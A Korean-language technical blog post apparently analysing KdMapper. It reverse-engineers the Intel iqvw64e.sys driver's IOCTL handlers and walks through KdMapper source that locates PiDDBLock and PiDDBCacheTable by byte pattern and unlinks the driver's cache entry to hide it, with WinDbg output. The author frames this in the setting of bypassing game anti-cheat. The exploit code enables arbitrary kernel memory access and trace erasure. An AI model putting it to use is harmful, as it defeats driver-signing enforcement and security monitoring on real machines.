Hiding Kernel Driver

[0x00] Concept

해당 포스팅은 KdMapper 를 이용하여 취약한 드라이버를 로드하고 이에 대한 흔적을 지우는 기법에 대해 설명합니다.

Unknowncheats 또는 GuidedHacking 과 같이 게임 해킹에 대한 리서치 커뮤니티에서 자주 나오는 오픈소스 중 하나 입니다.

안티 치트 솔루션에 대한 우회에 대해 접근할 때 가장 먼저 접할 수 있는 도구이기도 합니다.

취약한 드라이버를 이용하여 서명되지 않은 드라이버를 로드할 수 있으며, 이에 대한 흔적을 지우는 기법이 함께 적용되어 있어 분석했습니다.

[0x01] iqvw64e.sys

KdMapper 에서 사용되는 드라이버는 iqvw64e.sys 라는 인텔에서 개발된 네트워크 어댑터 진단 드라이버 입니다.

어느 드라이버들과 마찬가지로 I/O 전송 과정에서 취약점이 발생하였으며 입력 버퍼에 대한 유효성 검사가 충분하지 않아 발생하였습니다.

KdMapper 분석 주제에 맞게 해당 도구에서 사용된 취약 함수와 기능을 중점적으로 분석하겠습니다.

먼저 IRP_MJ_DEVICE_CONTROL 디스패치 함수부터 확인하면 아래와 같습니다.

signed __int64 __fastcall sub_113C0(__int64 arg_IntelInstruction)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  IntelInstruction = arg_IntelInstruction;
  Status = 1;
  if ( !arg_IntelInstruction )
    return Status;
  switch ( *arg_IntelInstruction )
  {
    case 1i64:
      *(arg_IntelInstruction + 0x10) = InPortByte(*(arg_IntelInstruction + 0x18));// 0x18 == I/O Port
      return 0i64;
    case 2i64:
      *(arg_IntelInstruction + 0x10) = InPortWord(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 3i64:
      *(arg_IntelInstruction + 0x10) = InPortDword(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 7i64:
      *(arg_IntelInstruction + 0x10) = OutPortByte(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x20));// 0x20 == OutPortBuffer
      return 0i64;
    case 8i64:
      *(arg_IntelInstruction + 0x10) = OutPortWord(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x20));
      return 0i64;
    case 9i64:
      *(arg_IntelInstruction + 0x10) = OutPortDword(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x20));
      return 0i64;
    case 0xDi64:
      *(arg_IntelInstruction + 0x10) = GetByteDataByPort(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 0xEi64:
      *(arg_IntelInstruction + 0x10) = GetWordDataByPort(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 0xFi64:
      *(arg_IntelInstruction + 0x10) = GetDwordDataByPort(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 0x13i64:
      *(arg_IntelInstruction + 0x10) = sub_11CF0(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x20));
      return 0i64;
    case 0x14i64:
      *(arg_IntelInstruction + 0x10) = sub_11D10(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x20));
      return 0i64;
    case 0x15i64:
      *(arg_IntelInstruction + 0x10) = sub_11D30(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x20));
      return 0i64;
    case 0x19i64:
      *(arg_IntelInstruction + 0x10) = Wrap_MmMapIoSpace(
                                         (arg_IntelInstruction + 0x18),
                                         *(arg_IntelInstruction + 0x20),
                                         (arg_IntelInstruction + 0x28));// 0x20 == PHYSICAL_ADDRESS, 0x28 == Size
      return 0i64;
    case 0x1Ai64:
      *(arg_IntelInstruction + 0x10) = Wrap_MmUnmapIoSpace(
                                         *(arg_IntelInstruction + 0x18),
                                         *(arg_IntelInstruction + 0x20),
                                         *(arg_IntelInstruction + 0x28));
      return 0i64;
    case 0x1Bi64:
      *(arg_IntelInstruction + 0x10) = Wrap_KeQueryPerformanceCounter();
      return 0i64;
    case 0x1Ci64:
      *(arg_IntelInstruction + 0x10) = sub_12450();
      return 0i64;
    case 0x23i64:
      sub_123C0(*(arg_IntelInstruction + 0x10));
      return 0i64;
    case 0x24i64:
      sub_11D50(*(arg_IntelInstruction + 0x10));
      return 0i64;
    case 0x25i64:
      *(arg_IntelInstruction + 0x10) = sub_12010(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 0x26i64:
      v4 = *(arg_IntelInstruction + 0x1C);
      *(arg_IntelInstruction + 0x10) = sub_128B0(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 0x27i64:
      sub_128E0(*(arg_IntelInstruction + 16), 0i64, 0i64);
      return 0i64;
    case 0x28i64:
      *(arg_IntelInstruction + 16) = sub_11ED0(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 0x29i64:
      *(arg_IntelInstruction + 16) = sub_11EF0(*(arg_IntelInstruction + 0x18));
      return 0i64;
    case 0x2Ai64:
      *(arg_IntelInstruction + 16) = sub_11F10(
                                       *(arg_IntelInstruction + 0x18),
                                       *(arg_IntelInstruction + 0x20),
                                       *(arg_IntelInstruction + 0x24));
      return 0i64;
    case 0x2Fi64:
      if ( arg_IntelInstruction == 0xFFFFFFFFFFFFFFF0i64 )
        goto LABEL_43;
      *(arg_IntelInstruction + 0x10) = Log((arg_IntelInstruction + 0x14));
      result = 0i64;
      break;
    case 0x30i64:
      Destination = *(arg_IntelInstruction + 0x18);// Destination
      if ( Destination )
      {
        Wrap_memset(Destination, *(IntelInstruction + 0x10), *(IntelInstruction + 0x20));// 0x10 == value, 0x20 == size
        result = 0i64;
      }
      else
      {
        Log("NAL_KMEMSET_FUNCID: One of the buffers was NULL\\n");
        result = 1i64;
      }
      break;
    case 0x31i64:
      v6 = *(arg_IntelInstruction + 0x18);
      if ( v6 && (v7 = *(IntelInstruction + 0x10)) != 0i64 )
      {
        Wrap_memcpy(v6, v7, *(IntelInstruction + 0x20));
        result = 0i64;
      }
      else
      {
        Log("NAL_KUMEMCPY_FUNCID: One of the buffers was NULL\\n");
        result = 1i64;
      }
      break;
    case 0x32i64:
      v8 = *(arg_IntelInstruction + 0x18);
      if ( v8 && (v9 = *(IntelInstruction + 0x10)) != 0i64 )
      {
        Wrap_memcpy(v8, v9, *(IntelInstruction + 0x20));
        result = 0i64;
      }
      else
      {
        Log("NAL_KKMEMCPY_FUNCID: One of the buffers was NULL\\n");
        result = 1i64;
      }
      break;
    case 0x33i64:
      Wrap_memcpy(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x10), *(arg_IntelInstruction + 0x20));
      result = 0i64;
      break;
    case 0x36i64:
      if ( arg_IntelInstruction == 0xFFFFFFFFFFFFFFF0i64 )
      {
LABEL_43:
        Log("NAL_ENABLE_DEBUG_PRINT_FUNCID: FunctionData is NULL\\n");
        result = 1i64;
      }
      else
      {
        sub_12000(*(arg_IntelInstruction + 0x10));
        result = 0i64;
      }
      break;
    case 0x37i64:
      *(arg_IntelInstruction + 0x10) = Wrap_MdlFamiliy(
                                         *(arg_IntelInstruction + 0x18),
                                         *(arg_IntelInstruction + 0x1C),
                                         *(arg_IntelInstruction + 0x28),
                                         (arg_IntelInstruction + 0x20));
      result = 0i64;
      break;
    case 0x38i64:
      sub_12770(*(arg_IntelInstruction + 0x10), *(arg_IntelInstruction + 0x18), 0i64);
      result = 0i64;
      break;
    case 0x39i64:
      *(arg_IntelInstruction + 0x10) = Wrap_MmMapIoSpaceAndMdl(
                                         (arg_IntelInstruction + 0x18),
                                         *(arg_IntelInstruction + 0x20),
                                         (arg_IntelInstruction + 0x28),
                                         *(arg_IntelInstruction + 0x30));
      result = 0i64;
      break;
    case 0x3Ai64:
      *(arg_IntelInstruction + 0x10) = Wrap_MmUnmapIoSpaceAndMdl(
                                         *(arg_IntelInstruction + 0x18),
                                         *(arg_IntelInstruction + 0x20),
                                         *(arg_IntelInstruction + 0x28),
                                         *(arg_IntelInstruction + 0x30));
      result = 0i64;
      break;
    case 0x3Bi64:
      *(arg_IntelInstruction + 0x10) = sub_11DE0(*(arg_IntelInstruction + 0x18), *(arg_IntelInstruction + 0x20));
      result = 0i64;
      break;
    default:
      return 0xC86A2018;
  }
  return result;
}

여러 종류의 래핑되어 있는 함수들이 존재하며 각 케이스 별로 구조체의 멤버를 다르게 사용하는 것을 알 수 있습니다.

먼저 몇 가지 유용한 케이스별 함수에 대해 확인해보곘습니다.

Case 0x19&0x20(Map & Unmap)

/*
CASE 0x19 MmMapIoSpace
CASE 0x1A MmUnmapIoSpace
*/

struct _INTEL_IO_MAP
{
  DWORD64 CaseNumber;
  DWORD64 UnknownValue;
  DWORD64 ReturnValue;
  DWORD64 VirtualAddress;
  PHYSICAL_ADDRESS PhysicalAddress;
  SIZE_T Size;
};

signed __int64 __fastcall Wrap_MmMapIoSpace(_QWORD *Va, PHYSICAL_ADDRESS PhysicalAddress, SIZE_T *arg_Size)
{
  pMappedVa = Va;
  if ( !Va || !arg_Size )
    return 1i64;
  Size = *arg_Size;
  Status = 0xC86A8004;
  if ( !Size )
    return 0xC86A8004i64;
  MappedVa = MmMapIoSpace(PhysicalAddress, Size, MmNonCached);
  Log("NalMmapAddressEx: Vaddress = 0x%p\\n", MappedVa);
  if ( MappedVa )
  {
    *pMappedVa = MappedVa;
    Log("NalMmapAddressEx: *VirtualAddress = 0x%p (not mapped to user)\\n", MappedVa);
    if ( *pMappedVa )
      Status = 0;
  }
  return Status;
}

__int64 __fastcall Wrap_MmUnmapIoSpace(PVOID arg_BaseAddress, __int64 a2, SIZE_T arg_Size)
{

  BaseAddress = arg_BaseAddress;
  Size = arg_Size;
  if ( arg_BaseAddress && arg_Size )
  {
    Log("NalUnmapAddress: Unmapping non-usermode mapped address 0x%p, Length %d\\n", arg_BaseAddress, arg_Size);
    MmUnmapIoSpace(BaseAddress, Size);
  }
  return 0i64;
}

지정된 물리 페이지를 넌페이지드 영역에 매핑하고 해제하는 것과 관련된 함수인 것을 확인할 수 있습니다.

Case 0x25(Get Physical Address)

struct _INTEL_IO_PHYSICAL
{
  DWORD64 CaseNumber;
  DWORD64 UnknownValue;
  PHYSICAL_ADDRESS PhysicalAddress;
  PVOID BaseAddress;
};

PHYSICAL_ADDRESS __fastcall Wrap_MmGetPhysicalAddress(PVOID BaseAddress)
{

  if ( BaseAddress )
    result.QuadPart = MmGetPhysicalAddress(BaseAddress);
  else
    result.QuadPart = 0i64;
  return result;
}

가상 메모리 주소를 전달하여 해당 주소의 물리 메모리 주소를 반환하는 함수임을 확인할 수 있습니다.

Case 0x26(Using MDL)

void *__fastcall Wrap_MdlFamiliy(ULONG Length, unsigned int a2, __int64 a3, unsigned __int64 *a4)
{

  v4 = a4;
  v5 = a2;
  Size = Length;
  v7 = a3;
  v8 = 0;
  while ( _InterlockedCompareExchange(&unk_17140 + 0x14 * v8, 1, 0) )
  {
    if ( ++v8 >= 0xC350 )
      return 0i64;
  }
  if ( v8 >= 0xC350 )
    return 0i64;
  VirtualAddress = MmAllocateContiguousMemory(Length + v5, 0xFFFFFFFFi64);
  BaseAddress = VirtualAddress;
  if ( VirtualAddress )
  {
    memset(VirtualAddress, 0, Size + v5);
    v12 = 0xAi64 * v8;
    *(&unk_17140 + v12 + 1) = BaseAddress;
    *(&unk_17140 + 2 * v12 + 0xB) = Size + v5;
    *(&unk_17140 + 2 * v12 + 0xA) = v5;
    PhysicalAddress.QuadPart = MmGetPhysicalAddress(BaseAddress);
    PhysicalAddr = PhysicalAddress;
    *(&unk_17140 + v12 + 4) = PhysicalAddress;
    if ( v5 && (PhysicalAddress.QuadPart % v5) )
    {
      v15 = v5 - (PhysicalAddress.QuadPart % v5);
      v16 = (&unk_17140 + 0x50 * v8 + 0x18);
      BaseAddress = (v15 + *(&unk_17140 + 10 * v8 + 1));
      pVa = (&unk_17140 + 0x50 * v8 + 0x10);
      v16->QuadPart = v15 + PhysicalAddress.QuadPart;
      *pVa = BaseAddress;
    }
    else
    {
      v18 = *(&unk_17140 + 0xA * v8 + 1);
      v16 = (&unk_17140 + 0x50 * v8 + 0x18);
      pVa = (&unk_17140 + 0x50 * v8 + 0x10);
      *v16 = PhysicalAddr;
      *pVa = v18;
    }
    if ( v4 )
      *v4 = v16->QuadPart;
    if ( v7 )
    {
      pMdl = IoAllocateMdl(*pVa, Size, 0, 0, 0i64);
      *(&unk_17140 + 10 * v8 + 6) = pMdl;
      if ( pMdl )
      {
        MmBuildMdlForNonPagedPool(pMdl);
        MappingData = MmMapLockedPagesSpecifyCache(
                        *(&unk_17140 + 10 * v8 + 6),
                        1,
                        MmCached,
                        0i64,
                        0,
                        NormalPagePriority);
        *(&unk_17140 + 10 * v8 + 7) = MappingData;
        if ( MappingData )
        {
          v21 = *(&unk_17140 + 10 * v8 + 6);
          *(&unk_17140 + 10 * v8 + 9) = v7;
          MappedSystemVa = (MappingData & 0xFFFFFFFFFFFFF000ui64) + v21->ByteOffset;
          *(&unk_17140 + v12 + 8) = MappedSystemVa;
          Log("_NalAllocateMemoryNonPaged - VirtualAddress = 0x%p\\n", MappedSystemVa);
          return MappedSystemVa;
        }
        Log("_NalAllocateMemoryNonPaged - MmMapLockedPages failed. Freeing MDL\\n");
        IoFreeMdl(*(&unk_17140 + 10 * v8 + 6));
        *(&unk_17140 + 10 * v8 + 6) = 0i64;
      }
    }
  }
  else
  {
    Log("_NalAllocateMemoryNonPaged - MmAllocateContiguousMemory failed\\n");
    _InterlockedCompareExchange(&unk_17140 + 20 * v8, 0, 1);
  }
  return BaseAddress;
}

MDL 을 이용하여 새로운 가상 메모리 페이지에 물리 메모리 페이지를 매핑하고 매핑된 가상 메모리 주소를 반환합니다.

해당 구조체는 정확히 분석하지 못했습니다

Case 0x30(memset)

struct _INTEL_IO_MEMSET
{
  DWORD64 CaseNumber;
  DWORD64 UnknownValue;
  DWORD64 Value;
  PVOID   Destination;
  SIZE_T  Size;
};

void *__fastcall Wrap_memset(void *Destination, unsigned __int8 Value, size_t Size)
{

  Dest = Destination;
  if ( KeGetCurrentIrql() <= 2u )
    memset(Destination, Value, Size);
  return Dest;
}

간단한 래핑함수이며, IRQL이 DISPATCH_LEVEL 이하일 때 memset 을 호출하여 해당 메모리 주소에 값을 채워넣습니다.

Case 0x31(memcpy)

struct _INTEL_IO_COPY
{
  DWORD64 CaseNumber;
  DWORD64 UnknownValue;
  PVOID   Source;
  PVOID   Destination;
  SIZE_T Length;
};

void *__fastcall Wrap_memcpy(void *Destination, const void *Source, size_t Size)
{

  pDestination = Destination;
  if ( KeGetCurrentIrql() <= 2u )
    memmove(Destination, Source, Size);
  return pDestination;
}

memset 래핑함수와 마찬가지 입니다.

전달받는 값에 대한 검증 없이 메모리를 조작할 수 있는 것을 확인할 수 있습니다.

[0x02] Clear traces of driver(via KdMapper)

KdMapper 소스코드를 분석하며 커널 내 로드된 드라이버의 흔적을 어떻게 지우는지 확인합니다.

기본적으로 헤더 파일 내 메모리에 취약한 드라이버를 저장하고 이를 로드합니다.

로드하는 방식은 레지스터에 서비스를 등록하고 NtLoadDriver 를 이용하여 로드를 하는 것으로 확인하였습니다.

주요 기능들에 대해 알아보겠습니다.

GetKernelModuleAddress

유저모드에서 커널에 로드되어 있는 모듈을 확인하기 위한 함수이며 NtQuerySystemInformation 루틴을 SystemModuleInformation 클래스로 호출하여 모듈 정보를 획득합니다.

ClearPiDDBCacheTable

먼저 냉정히 PiDDbCache 라는 것에 대해서는 알지 못합니다. 다만 ntoskrnlPiDDBCacheTable 이라는 전역변수가 존재하며 해당 테이블에는 커널 내 모듈과 관련된 정보가 트리형태로 존재합니다.

위의 PiDDB~ 로 시작하는 심볼은 총 3개로 PiDDBLock , PiDDBCacheTable, PiDDBCacheList 가 존재합니다.

먼저 PiDDBLock 은 이름 그대로 동기화와 관련이 있으며 읽기/쓰기 와 같은 잠금을 구현할 수 있는 ERESOURCE 구조로 되어 있습니다. 해당 오브젝트를 이용하여 PiDDBCacheTable 또는 PiDDBCacheList 를 사용한다고 볼 수 있습니다.

실제로 해당 Lock 오브젝트의 참조를 따라가보면 PpCheckInDriverDatabase 함수를 확인할 수 있으며, PiLookupInDDBCache 함수 내부에서 해당 전역 변수들이 사용되는 것을 확인할 수 있습니다.

해당 테이블은 최초 RtlIsGenericTableEmptyAvl 함수에서 만들어지며, 새로운 드라이버가 로드되면 PiUpdateDriverDBCache 에서 추가 됩니다. AVL Tree 형태이고 각 동작에 맞게 RtlInsertElementGenericTableAvl, RtlDeleteElementGenericTableAvl 이 존재합니다.

먼저 PiDDBCacheTable_RTL_AVL_TABLE 구조로 되어 있습니다.

struct _RTL_AVL_TABLE
{
    struct _RTL_BALANCED_LINKS BalancedRoot;                                //0x0
    VOID* OrderedPointer;                                                   //0x20
    ULONG WhichOrderedElement;                                              //0x28
    ULONG NumberGenericTableElements;                                       //0x2c
    ULONG DepthOfTree;                                                      //0x30
    struct _RTL_BALANCED_LINKS* RestartKey;                                 //0x38
    ULONG DeleteCount;                                                      //0x40
    enum _RTL_GENERIC_COMPARE_RESULTS (*CompareRoutine)(struct _RTL_AVL_TABLE* arg1, VOID* arg2, VOID* arg3); //0x48
    VOID* (*AllocateRoutine)(struct _RTL_AVL_TABLE* arg1, ULONG arg2);      //0x50
    VOID (*FreeRoutine)(struct _RTL_AVL_TABLE* arg1, VOID* arg2);           //0x58
    VOID* TableContext;                                                     //0x60
};

AVL Tree 알고리즘을 이용하기 때문에 BalancedRoot 란 이름으로 링크를 가지고 있는 것을 확인할 수 있습니다.

실제로 링크를 이루고 있는 구조는 _RTL_BALANCED_LINKS 임을 확인할 수 있습니다.

struct _RTL_BALANCED_LINKS
{
    struct _RTL_BALANCED_LINKS* Parent;                                     //0x0
    struct _RTL_BALANCED_LINKS* LeftChild;                                  //0x8
    struct _RTL_BALANCED_LINKS* RightChild;                                 //0x10
    CHAR Balance;                                                           //0x18
    UCHAR Reserved[3];                                                      //0x19
};

이제 KdMapperClearPiDDBCacheTable 함수를 확인해보겠습니다.

bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver
	PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\\x81\\xFB\\x6C\\x03\\x00\\xC0\\x0F\\x84\\x00\\x00\\x00\\x00\\x48\\x8D\\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D  update for build 21286 etc...
	PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\\x66\\x03\\xD2\\x48\\x8D\\x0D", (char*)"xxxxxx");
	if (PiDDBLockPtr == NULL || PiDDBCacheTablePtr == NULL) {
		Log(L"[-] Warning no PiDDBCacheTable Found" << std::endl);
		return false;
	}

	Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl);
	Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);
...
}

PiDDBCacheTablePtr 의 경우 락을 이용해야 하기 때문에 FindPatternInSectionAtKernel 이라는 함수를 이용합니다.

해당 함수는 패턴과 일치하는 주소 값을 반환하며 내부적으로 FindSectionAtKernel , FindPatternAtKernel 함수가 존재합니다.

uintptr_t intel_driver::FindPatternInSectionAtKernel(HANDLE device_handle, char* sectionName, uintptr_t modulePtr, BYTE* bMask, char* szMask) {
	ULONG sectionSize = 0;
	uintptr_t section = FindSectionAtKernel(device_handle, sectionName, modulePtr, &sectionSize);
	return FindPatternAtKernel(device_handle, section, sectionSize, bMask, szMask);
}

AtKernel 이 접미사로 붙은 함수들의 경우 커널 내 메모리를 읽는 로직이 포함되어 있습니다. 이 때 취약한 드라이버를 이용하여 메모리를 읽는 것을 확인할 수 있습니다.

// ReadMemory -> MemCopy(DeviceIoControl)

bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };

	copy_memory_buffer.case_number = 0x33;
	copy_memory_buffer.source = source;
	copy_memory_buffer.destination = destination;
	copy_memory_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(device_handle, ioctl1, &copy_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}

커널에서는 이에 대한 검증이 존재하지 않기 때문에 자유롭게 메모리를 읽어올 수 있습니다.

커널 메모리에서 데이터를 읽어 PE 파싱을 진행하여 타겟 섹션에 대한 정보를 얻습니다.

FindPatternAtKernel 에서 또한 동일하게 섹션 시작 주소에서 섹션 사이즈만큼 커널에서 메모리를 읽고, 해당 메모리에서 패턴을 검색합니다.

그리고 섹션 주소를 이미지 베이스로 잡고 오프셋을 계산하여 패턴이 존재하는 커널 내 주소를 획득합니다.

uintptr_t intel_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, char* szMask) {
	if (!dwAddress) {
		Log(L"[-] No module address to find pattern" << std::endl);
		return 0;
	}

	if (dwLen > 1024 * 1024 * 1024) { //if read is > 1GB
		Log(L"[-] Can't find pattern, Too big section" << std::endl);
		return 0;
	}

	BYTE* sectionData = new BYTE[dwLen];
	if (!ReadMemory(device_handle, dwAddress, sectionData, dwLen)) {
		Log(L"[-] Read failed in FindPatternAtKernel" << std::endl);
		return 0;
	}

	auto result = utils::FindPattern((uintptr_t)sectionData, dwLen, bMask, szMask);

	if (result <= 0) {
		Log(L"[-] Can't find pattern" << std::endl);
		delete[] sectionData;
		return 0;
	}
	result = dwAddress - (uintptr_t)sectionData + result;
	delete[] sectionData;
	return result;
}

이러한 과정들을 거쳐서 PiDDBLock , PiDDBCacheTable 을 참조하는 커널 내 주소를 획득합니다.

bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver
	...
	PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 15, 19);
	PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10);
	...
}

명령은 상대주소로 계산되어 있기 때문에 해당 패턴에서 이 값을 계산하여 실제 PiDDBLock , PiDDBCacheTable 의 주소를 계산합니다.

상대 주소를 계산하기 위해 패턴과 일치하는 주소, 해당 주소부터 오프셋이 존재하는 인스트럭션의 길이, 총 인스트럭션 길이를 ResolveRelativeAddress 함수에 전달하여 값을 구합니다.

기본적인 계산법으로 Current Address + Offset + Instruction Size 로 계산됩니다. 이러한 계산을 통해 실제 커널에 존재하는 PiDDBLock, PiDDBCacheTable 에 대한 주소를 획득합니다.

...
	ULONG64 prevContext = 0;
	ULONG64 targetContext = 1;
	if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64))) {
		Log(L"[-] Can't get read piddbcache table context" << std::endl);
		return false;
	}
	if (prevContext != targetContext) {
		WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &targetContext, sizeof(ULONG64));
	}
	if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) {
		Log(L"[-] Can't lock PiDDBCacheTable" << std::endl);
		return false;
	}
...
}

다음은 PiDDBCacheTable 내의 TableContext 를 확인하는 것을 볼 수 있습니다. 정확히 어떤 값인지는 모르지만, KdMapper 에서 하는 행위를 하기 위해서는 TableContext 값이 1이어야 하는 것으로 예상됩니다.

그리고 ExAcquireResourceExclusiveLite 루틴을 이용하여 접근할 수 있는 리소스를 획득합니다. true 를 전달하는 경우 획득 가능할 때 까지 대기합니다.

...
	// search our entry in the table
	PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp);
	if (pFoundEntry == nullptr) {
		Log(L"[-] Not found in cache" << std::endl);
		ExReleaseResourceLite(device_handle, PiDDBLock);
		return false;
	}

	// first, unlink from the list
	PLIST_ENTRY prev;
	if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) {
		Log(L"[-] Can't get prev entry" << std::endl);
		ExReleaseResourceLite(device_handle, PiDDBLock);
		return false;
	}
	PLIST_ENTRY next;
	if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) {
		Log(L"[-] Can't get next entry" << std::endl);
		ExReleaseResourceLite(device_handle, PiDDBLock);
		return false;
	}
...

위의 코드는 PiDDBCacheTable 내 링크를 순회하는 것으로 DKOM 기법 중 프로세스 은닉 기법과 유사합니다.

제일 먼저 LookupEntry 함수를 이용하여 취약한 드라이버(iqvw64e.sys)의 엔트리를 찾습니다.

intel_driver::PiDDBCacheEntry* intel_driver::LookupEntry(HANDLE device_handle, PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp) {
	PiDDBCacheEntry* firstEntry;
	if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, BalancedRoot.RightChild)), &firstEntry, sizeof(_RTL_BALANCED_LINKS*))) {
		return nullptr;
	}

	(*(uintptr_t*)&firstEntry) += sizeof(RTL_BALANCED_LINKS);

	PiDDBCacheEntry* cache_entry;
	if (!ReadMemory(device_handle, (uintptr_t)firstEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &cache_entry, sizeof(_LIST_ENTRY*))) {
		return nullptr;
	}

	while (TRUE) {
		ULONG itemTimeDateStamp = 0;
		if (!ReadMemory(device_handle, (uintptr_t)cache_entry + (offsetof(struct _PiDDBCacheEntry, TimeDateStamp)), &itemTimeDateStamp, sizeof(ULONG))) {
			return nullptr;
		}
		if (itemTimeDateStamp == timestamp) {
			Log("[+] PiDDBCacheTable result -> TimeStamp: " << itemTimeDateStamp << std::endl);
			return cache_entry;
		}
		if ((uintptr_t)cache_entry == (uintptr_t)firstEntry) {
			break;
		}
		if (!ReadMemory(device_handle, (uintptr_t)cache_entry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &cache_entry, sizeof(_LIST_ENTRY*))) {
			return nullptr;
		}
	}
	return nullptr;
}

해당 코드에서 _PiDDBCacheEntry 라는 문서화 되지 않은 구조체가 존재합니다. 트리 구조 내 각 노드의 끝 부분에 위치하며 실제 해당 노드의 정보가 저장된 구조라고 볼 수 있습니다.

3: kd> ? PiDDBCacheTable
Evaluate expression: -8794286137280 = fffff800`6bb2e040

3: kd> dt_RTL_AVL_TABLE fffff800`6bb2e040
ntdll!_RTL_AVL_TABLE
   +0x000 BalancedRoot     : _RTL_BALANCED_LINKS
   +0x020 OrderedPointer   : (null) 
   +0x028 WhichOrderedElement : 0
   +0x02c NumberGenericTableElements : 0x7a
   +0x030 DepthOfTree      : 8
   +0x038 RestartKey       : (null) 
   +0x040 DeleteCount      : 0
   +0x048 CompareRoutine   : 0xfffff800`6b54d9f0     _RTL_GENERIC_COMPARE_RESULTS  nt!PiCompareDDBCacheEntries+0
   +0x050 AllocateRoutine  : 0xfffff800`6b555540     void*  nt!PnpAllocateGenericTableEntry+0
   +0x058 FreeRoutine      : 0xfffff800`6b5572e0     void  nt!CMFFreeFn+0
   +0x060 TableContext     : 0x00000000`00000001 Void

3: kd> dx -id 0,0,ffff8785e04920c0 -r1 (*((ntdll!_RTL_BALANCED_LINKS *)0xfffff8006bb2e040))
(*((ntdll!_RTL_BALANCED_LINKS *)0xfffff8006bb2e040))                 [Type: _RTL_BALANCED_LINKS]
    [+0x000] Parent           : 0xfffff8006bb2e040 [Type: _RTL_BALANCED_LINKS *]
    [+0x008] LeftChild        : 0x0 [Type: _RTL_BALANCED_LINKS *]
    [+0x010] RightChild       : 0xffff9c873a34c0d0 [Type: _RTL_BALANCED_LINKS *]
    [+0x018] Balance          : -1 [Type: char]
    [+0x019] Reserved         [Type: unsigned char [3]]

Parent 는 루트 노드를 의미하고 첫 노드는 RightChild 필드에 할당되어 있습니다.

3: kd> dt_RTL_BALANCED_LINKS 0xffff9c873a34c0d0 
ntdll!_RTL_BALANCED_LINKS
   +0x000 Parent           : 0xfffff800`6bb2e040 _RTL_BALANCED_LINKS
   +0x008 LeftChild        : 0xffff9c87`3a7ff140 _RTL_BALANCED_LINKS
   +0x010 RightChild       : 0xffff9c87`3a34c140 _RTL_BALANCED_LINKS
   +0x018 Balance          : 0 ''
   +0x019 Reserved         : [3]

// sizeof(_RTL_BALANCED_LINKS), _PiDDBCacheEntry
3: kd> dp 0xffff9c873a34c0d0 + 20
ffff9c87`3a34c0f0  ffff9c87`3a34c160 ffff9c87`3a247f60    // 0x00 List(_LIST_ENTRY)
ffff9c87`3a34c100  00000000`00180018 ffff9c87`3a3391e0    // 0x10 DriverName
ffff9c87`3a34c110  00000000`a0e0786e 00000000`00000000    // 0x20 TimeStamp 
ffff9c87`3a34c120  00000000`00000000 00000000`00000000
ffff9c87`3a34c130  75737050`03070000 00000000`00000000
ffff9c87`3a34c140  ffff9c87`3a34c0d0 ffff9c87`3a8867d0
ffff9c87`3a34c150  ffff9c87`3a7da3e0 00000000`00000000
ffff9c87`3a34c160  ffff9c87`3a34cb70 ffff9c87`3a34c0f0

3: kd> dt_UNICODE_STRING ffff9c87`3a34c100
ntdll!_UNICODE_STRING
 "mssecflt.sys"
   +0x000 Length           : 0x18
   +0x002 MaximumLength    : 0x18
   +0x008 Buffer           : 0xffff9c87`3a3391e0  "mssecflt.sys"

